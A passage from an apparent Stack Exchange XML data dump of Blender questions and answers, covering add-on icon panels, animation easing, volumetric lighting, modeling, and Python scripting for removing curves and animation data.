&amp;quot;name&amp;quot;: &amp;quot;Custom Icon Test&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;Your Name Here&amp;quot;,&#xA;    &amp;quot;version&amp;quot;: (1, 0),&#xA;    &amp;quot;blender&amp;quot;: (2, 80, 0),&#xA;    &amp;quot;location&amp;quot;: &amp;quot;View3D &amp;gt; UI &amp;gt; Tools&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;Test custom icons&amp;quot;,&#xA;    &amp;quot;warning&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;doc_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;category&amp;quot;: &amp;quot;Testing&amp;quot;,&#xA;}&#xA;&#xA;import os&#xA;import bpy&#xA;import bpy.utils.previews&#xA;&#xA;class CUSTOM_PT_myPanel(bpy.types.Panel):&#xA;    bl_label = &amp;quot;My Icon Panel&amp;quot;&#xA;    bl_idname = &amp;quot;OBJECT_PT_custom_panel&amp;quot;&#xA;    bl_space_type = &amp;quot;VIEW_3D&amp;quot;   &#xA;    bl_region_type = &amp;quot;UI&amp;quot;&#xA;    bl_category = &amp;quot;Tools&amp;quot;&#xA;&#xA;    def draw(self, context):&#xA;        global custom_icons&#xA;        self.layout.label(text=&amp;quot;Blender SE&amp;quot;, icon_value=custom_icons[&amp;quot;custom_icon&amp;quot;].icon_id)&#xA;&#xA;# global variable to store icons in&#xA;custom_icons = None&#xA;&#xA;def register():&#xA;    global custom_icons&#xA;    custom_icons = bpy.utils.previews.new()&#xA;    addon_path =  os.path.dirname(__file__)&#xA;    icons_dir = os.path.join(addon_path, &amp;quot;icons&amp;quot;)&#xA;    &#xA;    custom_icons.load(&amp;quot;custom_icon&amp;quot;, os.path.join(icons_dir, &amp;quot;icon.png&amp;quot;), 'IMAGE')&#xA;    bpy.utils.register_class(CUSTOM_PT_myPanel)&#xA;&#xA;def unregister():&#xA;    global custom_icons&#xA;    bpy.utils.previews.remove(custom_icons)&#xA;    bpy.utils.unregister_class(CUSTOM_PT_myPanel)&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    # Test run&#xA;    # edit to folder containing your icons folder&#xA;    __file__ = &amp;quot;/home/user/Desktop/&amp;quot;&#xA;    # The path of this text (if saved)&#xA;    #__file__ = bpy.context.space_data.text.filepath&#xA;    # The path of this blend file (if saved)&#xA;    #__file__ = bpy.data.filepath&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h7qow.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="15543" LastEditDate="2021-03-05T10:49:39.450" LastActivityDate="2021-03-05T10:49:39.450" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32337" PostTypeId="1" CreationDate="2015-06-12T09:43:17.640" Score="6" ViewCount="1825" Body="&lt;p&gt;I tried different settings, but I haven't received the desired result.&#xA;Either the animation is smooth but first it slow then speeds up and then slows down at the end (Bezier) or animation rude but it has one speed (Linear).&lt;br&gt;&#xA;Example:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4FxWY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Is there a way to make the animation smooth and have it play with one speed without acceleration &amp;amp; deceleration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image above is the simplest way to visualize what i mean, but the image in &lt;a href=&quot;http://f-picture.net/lfp/s019.radikal.ru/i618/1506/6f/cd298ba1bb1e.gif/htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this link shows the kind of objects i'm animating&lt;/a&gt;, and it behaves quite abrupt when Linear, but Bezier gives pronounced easing in-out: &lt;/p&gt;&#xA;" OwnerUserId="14958" LastEditorUserId="47" LastEditDate="2015-06-13T12:05:18.847" LastActivityDate="2015-06-13T12:18:37.317" Title="How to make an animation so that it is smooth and plays at one speed?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32338" PostTypeId="1" CreationDate="2015-06-12T09:50:18.143" Score="1" ViewCount="325" Body="&lt;p&gt;How to make that hair, coat &amp;amp; similar things animate automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;&lt;a href=&quot;https://s57.radikal.ru/i156/1506/36/10eb4b4ace3a.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://s57.radikal.ru/i156/1506/36/10eb4b4ace3a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14958" LastEditorUserId="32220" LastEditDate="2019-07-18T18:36:40.417" LastActivityDate="2019-07-18T18:36:40.417" Title="How to make that hair, coat &amp; similar things animate automatically?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="32339" PostTypeId="1" CreationDate="2015-06-12T09:59:39.383" Score="1" ViewCount="1681" Body="&lt;p&gt;How to make the light from the flashlight in Blender Cycles?&lt;/p&gt;&#xA;&lt;p&gt;The Emission node doesn’t give volumetric light:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r1L5l.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'll use it in animation, example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bggEO.gif&quot; alt=&quot;enter image description here&quot; /&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14958" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-06-12T10:28:58.203" Title="How to make the light from the flashlight in Blender Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;light&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-06-12T15:45:23.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="32340" PostTypeId="1" CreationDate="2015-06-12T10:06:29.253" Score="3" ViewCount="297" Body="&lt;p&gt;How to make it so that objects don't pass through each other?&#xA;For example, when a character picks up an object, when a character rests on the wall, etc. &#xA;Here is an example of the wrong animation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z7Z5E.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix it?&lt;/p&gt;&#xA;" OwnerUserId="14958" LastEditorUserId="241" LastEditDate="2015-06-12T14:44:27.930" LastActivityDate="2015-06-12T14:44:27.930" Title="How to make it so that objects don't pass through each other?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32341" PostTypeId="2" ParentId="32334" CreationDate="2015-06-12T10:11:11.447" Score="0" Body="&lt;p&gt;You can try inserting an add node between the mist pass and the color ramp, to &quot;offset&quot; the focused value. Tweaking the values, positive or negative, you should be able to set the knife pixels as focused and the rest unfocused. If you can post an image of your mist pass i can be more accurate on the answer.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-12T10:11:11.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32342" PostTypeId="2" ParentId="32340" CreationDate="2015-06-12T10:18:17.867" Score="3" Body="&lt;p&gt;Generally, this kind of actions are made using Inverse Kinematics:&#xA;when the hand reaches the table you switch the arm from FK to IK, put the IK hand controller in the same position as reached by the FK hand controller so, in the following frames, the hand stays still as the arm is moving.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-12T10:18:17.867" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32343" PostTypeId="2" ParentId="32339" CreationDate="2015-06-12T10:28:58.203" Score="0" Body="&lt;p&gt;the volumetric part of the light could be a parented object on his own, with appropriate nodes and textures for emission, transparency, translucency, maybe in a separate layer to be blurred, alpha overed and color corrected.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-12T10:28:58.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32344" PostTypeId="2" ParentId="32296" CreationDate="2015-06-12T10:36:33.040" Score="2" Body="&lt;p&gt;The UV layout for this model makes selecting rows very easy with the &lt;strong&gt;Box Select&lt;/strong&gt; tool.  (I hid the ends because they have hidden faces that are causing problems.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By selecting every second loop of the UV's and then using &lt;strong&gt;Tris To Quads&lt;/strong&gt;, you can establish guide loops that allow you to use the tool again and achieve consistent results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;b&lt;/kbd&gt; for Box-Select.  Also make sure to activate the icon for &lt;strong&gt;use_uv_select_sync&lt;/strong&gt; as shown in the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d8x0r.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use Tris to Quads on the selected rows, then select everything and repeat &lt;strong&gt;Tris To Quads&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFnl0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can repair the few mistakes by using the &lt;strong&gt;Join&lt;/strong&gt; tool &lt;kbd&gt;j&lt;/kbd&gt;.  In the following case, I used &lt;strong&gt;Join&lt;/strong&gt; and then used &lt;strong&gt;Make Face&lt;/strong&gt; &lt;kbd&gt;f&lt;/kbd&gt; to make a quad at the center of the error point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9EBd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-06-12T10:42:08.947" LastActivityDate="2015-06-12T10:42:08.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32345" PostTypeId="1" AcceptedAnswerId="32347" CreationDate="2015-06-12T12:43:07.970" Score="14" ViewCount="1223" Body="&lt;p&gt;Is there any good way to make a half decent mushroom?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm specifically trying to make the mushroom on the back of Parasect for an animation. How can you make a rounded cone? Is there an addon for that, or do I have to make it myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'm thinking of a cross between an ovoid three-dimensional shape and a cone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It's also a good question when you are making rounded nose cones for objecs such as rockets)&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="3127" LastEditDate="2015-06-12T16:01:05.220" LastActivityDate="2015-06-12T16:19:17.983" Title="How to Model a Mushroom shape?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32346" PostTypeId="1" AcceptedAnswerId="32684" CreationDate="2015-06-12T12:51:03.727" Score="0" ViewCount="6057" Body="&lt;p&gt;My question is very simple, I want to turn off mirroring in the texture paint mode (I'm using Blender 2.74 and I have tried a few older versions).&#xA;In tutorials I saw that there was a &quot;Symmetry&quot; tab, but I only have Brush, Texture, Texture Mask, Stroke, Curve, External and History.&lt;/p&gt;&#xA;" OwnerUserId="14962" LastEditorUserId="2217" LastEditDate="2015-06-12T13:02:45.247" LastActivityDate="2015-06-19T03:22:58.940" Title="How to turn off symmetry in texture paint mode" Tags="&lt;texture-painting&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32347" PostTypeId="2" ParentId="32345" CreationDate="2015-06-12T13:24:21.623" Score="19" Body="&lt;p&gt;If a Screw Modifier isn't already enough, simple Polygon modelling will be surely.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a 5 (or more..) sided circle&lt;/li&gt;&#xA;&lt;li&gt;extrude up and scale to give hints of the shape&lt;/li&gt;&#xA;&lt;li&gt;then stick a subsurf modifier on it&lt;/li&gt;&#xA;&lt;li&gt;(optional) then use a &lt;em&gt;lattice&lt;/em&gt; or a &lt;em&gt;curve modifier&lt;/em&gt; for deformation. Deform to taste.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhzuq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lattice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2tbyY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Curve Modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yvs7g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-12T16:19:17.983" LastActivityDate="2015-06-12T16:19:17.983" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32348" PostTypeId="1" AcceptedAnswerId="32499" CreationDate="2015-06-12T14:51:29.160" Score="7" ViewCount="1807" Body="&lt;p&gt;What is a good reliable method to animate multiple ropes being twisted together? One end of the ropes will be fixed in space, while the other ends rotate in a circle, creating twist. All the ropes should be along the edge of this imaginary circle (none in the middle), and do not come together (the twist moves closer to the ends, and the angle of the ropes between the twist and then end becomes steeper).  These ends are separated not together. How can this be animated? Simulations are ideal in this regard, since I may need to twist a considerable number of ropes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;linking several spheres with constraints and performing a rigid body simulation&lt;/li&gt;&#xA;&lt;li&gt;Soft body simulation on a curve&lt;/li&gt;&#xA;&lt;li&gt;Cloth sim on line of vertices&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;None of these worked very well (maybe I'm doing something wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=sbftdHCXqbM&quot; rel=&quot;nofollow&quot;&gt;Here is a video that roughly shows the twisting motion with three ropes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3078" LastEditDate="2015-06-15T19:52:59.953" LastActivityDate="2015-06-20T17:20:29.200" Title="How to animate the twisting of a rope?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;rigid-body-simulation&gt;&lt;cloth-simulation&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32349" PostTypeId="1" AcceptedAnswerId="32350" CreationDate="2015-06-12T15:01:28.277" Score="3" ViewCount="973" Body="&lt;p&gt;Preferably not using selection, tried &lt;code&gt;bpy.data.meshes.remove&lt;/code&gt; don't works for it&lt;/p&gt;&#xA;" OwnerUserId="14964" LastActivityDate="2015-06-12T16:57:14.977" Title="Python Scripting: Remove Curve Object" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32350" PostTypeId="2" ParentId="32349" CreationDate="2015-06-12T15:18:19.200" Score="3" Body="&lt;p&gt;Something like this, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First remove the &lt;em&gt;Object&lt;/em&gt; that uses the &lt;em&gt;Curve&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then remove the &lt;em&gt;Curve&lt;/em&gt; data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curves = bpy.data.curves&#xA;objects = bpy.data.objects&#xA;scene = bpy.context.scene&#xA;&#xA;# remove the object&#xA;obj = bpy.data.objects[object_name]&#xA;cu = obj.data  # the curve&#xA;scene.objects.unlink(obj)&#xA;objects.remove(obj)&#xA;&#xA;# remove the associated curve, if you need to and it doesn't have other users. &#xA;curves.remove(cu)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You won't be able to remove &lt;em&gt;Curve&lt;/em&gt; data if there are remaining &lt;em&gt;Objects&lt;/em&gt; associated with that &lt;em&gt;Curve&lt;/em&gt; data. &lt;code&gt;cu.users&lt;/code&gt; will tell you how many users the &lt;em&gt;Curve&lt;/em&gt; has, if that returns &lt;code&gt;0&lt;/code&gt;, the curve data can be removed with no other steps, but if it's more than &lt;code&gt;0&lt;/code&gt; then other &lt;em&gt;Objects&lt;/em&gt; are referencing the curve and you need to clear those references first.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-12T16:57:14.977" LastActivityDate="2015-06-12T16:57:14.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32351" PostTypeId="1" CreationDate="2015-06-12T15:33:20.543" Score="4" ViewCount="558" Body="&lt;p&gt;Is there any rendering engine for Blender that only uses the GPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Cycles and Luxrender can do this but not all materials work&#xA;In gpu mode. So what I am asking is are there any rendering engines which are able to render exclusively on the gpu.&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="12782" LastEditDate="2015-06-12T21:59:22.987" LastActivityDate="2015-06-12T22:17:31.680" Title="Is there a render engine with complete GPU support and Blender integration" Tags="&lt;rendering&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32354" PostTypeId="1" CreationDate="2015-06-12T17:04:44.123" Score="0" ViewCount="1324" Body="&lt;p&gt;Somehow? I seen &lt;code&gt;Remove Animation&lt;/code&gt; action in action list(space), but was unable to call it on object I need. Console traced &lt;code&gt;Cancelled&lt;/code&gt; so I think I did it wrong and called a ui method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seen &lt;code&gt;animation_clear()&lt;/code&gt; method somewhere not sure if it's related&lt;/p&gt;&#xA;" OwnerUserId="14964" LastEditorUserId="14964" LastEditDate="2015-06-12T17:11:17.287" LastActivityDate="2015-06-12T17:40:53.157" Title="Python Scripting: remove animation from mesh/object" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32355" PostTypeId="1" AcceptedAnswerId="33786" CreationDate="2015-06-12T17:22:47.087" Score="9" ViewCount="1866" Body="&lt;p&gt;I have been doing a lot of work with curves recently (mostly Bezier because of the greater control) and I have stumbled across an issue, I can't seem to find an equivalent option to &lt;em&gt;Remove Doubles&lt;/em&gt; used for meshes. Is there a way to merge all vertices along a curve within a given distance?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For clarification&lt;/strong&gt;, a double is considered two vertices in the same space (same coordinates), but part of different segment strings. For example, you may have a cyclic curve, three segments  of which are duplicated, and not part of the one coherent whole of the cyclic curve.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="3127" LastEditDate="2015-06-13T02:02:12.687" LastActivityDate="2018-08-17T08:38:32.220" Title="Is there an equivalent to Remove Doubles for Bezier curves?" Tags="&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32356" PostTypeId="2" ParentId="32337" CreationDate="2015-06-12T17:23:31.547" Score="6" Body="&lt;p&gt;One possible solution to the question (before it was updated with a use-case):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build curves into the corners of a trajectory path, like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1CfOY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tighter corners will result in more jumpy (sudden, unrealistic) movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I start out with a &lt;em&gt;Mesh Object&lt;/em&gt;, then use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; to fillet the corners, then in Edit Mode use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; and convert the mesh to a Curve Object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Add a Follow Path constraint, and press &lt;code&gt;Animate Path&lt;/code&gt;, then press Play to see what that looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a90BV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes It can be more convenient to see the path it will be on, rather than key-framing it.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-06-13T12:18:37.317" LastActivityDate="2015-06-13T12:18:37.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32357" PostTypeId="2" ParentId="32354" CreationDate="2015-06-12T17:40:53.157" Score="1" Body="&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects[&quot;Cube&quot;]&#xA;obj.animation_data_clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works fine, it seem to remove animation data, but doesn't update timeline immediately visually.&lt;/p&gt;&#xA;" OwnerUserId="14964" LastActivityDate="2015-06-12T17:40:53.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32358" PostTypeId="1" CreationDate="2015-06-12T18:06:26.233" Score="2" ViewCount="722" Body="&lt;p&gt;I followed &lt;a href=&quot;http://wiki.blender.org/index.php/User:Ideasman42/BlenderAsPyModule&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; to install blender as a python module. I realize that this isn't officially supported, but I thought I'd ask for help anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to import a COLLADA (.dae) file. In blender's scripting mode, this is done by the method &lt;code&gt;bpy.ops.wm.collada_import(filepath=...)&lt;/code&gt;. However, when I checked to see if this method exists, I got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.wm.collada_import&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;/usr/local/lib/python3.4/dist-packages/2.74/scripts/modules/bpy/ops.py&quot;, line 207, in __repr__&#xA;    as_string = op_as_string(idname)&#xA;AttributeError: _bpy.ops.as_string: operator &quot;WM_OT_collada_import&quot; could not be found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other import methods, such as &lt;code&gt;bpy.ops.import_scene.autodesk_3ds&lt;/code&gt; work, so I'm wondering if there's an easy way to fix this.&lt;/p&gt;&#xA;" OwnerUserId="14697" LastActivityDate="2015-06-12T18:06:26.233" Title="Blender as a Python Module: Import COLLADA" Tags="&lt;scripting&gt;&lt;import&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32359" PostTypeId="1" AcceptedAnswerId="32360" CreationDate="2015-06-12T18:22:04.490" Score="0" ViewCount="718" Body="&lt;p&gt;I see that it's possible to call a basic exporter, like fbx, with a command like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.export_scene.fbx(...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, what if I want to use any of the other exporting format like STL, PLY, or Babylon? Is there a way call these other exporters? Or any other exporters that could be defined in an addon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way to call any exporters by just specifying the name of the addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2015-06-12T18:35:43.080" Title="call exporter with python" Tags="&lt;python&gt;&lt;export&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32360" PostTypeId="2" ParentId="32359" CreationDate="2015-06-12T18:35:43.080" Score="0" Body="&lt;p&gt;I actually found a way to track all operations by typing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.debug_wm = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the script window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this, you see too much information, but you can see the actually operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Babylon.js: bpy.ops.scene.babylon(filepath=&quot;test.babylon&quot;)&lt;/li&gt;&#xA;&lt;li&gt;STL: bpy.ops.export_mesh.stl(filepath=&quot;untitled.stl&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this will help other people.&lt;/p&gt;&#xA;" OwnerUserId="14949" LastActivityDate="2015-06-12T18:35:43.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32361" PostTypeId="2" ParentId="31562" CreationDate="2015-06-12T18:38:14.750" Score="5" Body="&lt;p&gt;You can use math nodes to reduce the density (or darken the color) of a volume material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a sample blend file:&#xA;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1111/&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; in the 3D view to see the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OsnUT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OsnUT.png&quot; alt=&quot;material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was done with lots of math nodes to compute the falloff in volume density based on the distance from the object's center. I used an exponential function in X, Y, and Z, but another function or even a curve could be used. The output of the &quot;density&quot; node (on the far right) could be used to adjust a texture or some other volumetric effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The size of the cube holding the volumetric material and the XYZ &quot;scale height&quot; values are independent from one another. That way you can choose to scale the cube or adjust the scale heights, depending on your specific need in the scene.&lt;/p&gt;&#xA;" OwnerUserId="14969" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2016-03-18T02:01:21.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32363" PostTypeId="1" CreationDate="2015-06-12T18:54:23.203" Score="20" ViewCount="1340" Body="&lt;p&gt;In terms of render times for Cycles materials, which is faster? A material node tree containing many (~20-50) math nodes or a single OSL shader script node performing the same calculation.&lt;/p&gt;&#xA;" OwnerUserId="14969" LastEditorUserId="649" LastEditDate="2016-07-28T11:55:36.403" LastActivityDate="2018-02-12T08:56:53.107" Title="Which is faster: A math node tree or an OSL shader?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;&lt;osl&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32364" PostTypeId="2" ParentId="31562" CreationDate="2015-06-12T19:47:54.363" Score="6" Body="&lt;p&gt;Here I used a &lt;em&gt;Gradient Texture&lt;/em&gt; node set to &lt;em&gt;Quadratic sphere&lt;/em&gt; to generate the tapering of the volume. The &lt;em&gt;ColorRamp&lt;/em&gt; node is used to control the strength, note the the right edge of the color ramp has a value of 1 (the center of the volume) and the left edge is 0 (no strength on the outer edges of the volume).&lt;br&gt;&#xA;&lt;sub&gt;click for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tN6Bi.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tN6Bi.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-06-12T19:47:54.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
